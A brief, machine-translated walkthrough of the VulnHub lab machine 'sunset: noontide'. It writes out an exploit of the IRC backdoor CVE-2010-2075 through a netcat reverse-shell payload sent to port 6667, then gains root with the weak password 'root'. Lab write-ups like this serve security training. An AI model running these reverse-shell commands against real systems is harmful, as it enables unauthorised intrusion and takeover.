Sunset: noontide target penetration vulnhub

---

Preface

This target （sunset: noontide） Running on the Vmware The target cannot be obtained in IP, in VirtualBox after NAT And bridge mode IP, Only in host-only The target plane was found in mode IP…

---

One 、IP Port detection

Check that it's on 3 Ports , And are irc Related services

Two 、6665 Port utilization

1. rebound shell

Search for related vulnerabilities

see 16922 and 13853 this 2 Script , Found to be CVE-2010-2075

Roughly use ideas Is the connection 6667 When the port is inserted directly AB;payload

Use nc Connect , And will payload Change to bounce shell, At the same time, local monitoring 3333

nc -nv 192.168.56.103 6667
AB; nc 192.168.56.102 3333 -e /bin/bash

Received a rebound shell

Bounce here shell There's not only one way , It can also be used directly MSF..

2. Raise the right

sudo -l Can't view , Have a try root Weak password -root

su root
psssword: root

---

summary

rebound shell—root Weak password raises the right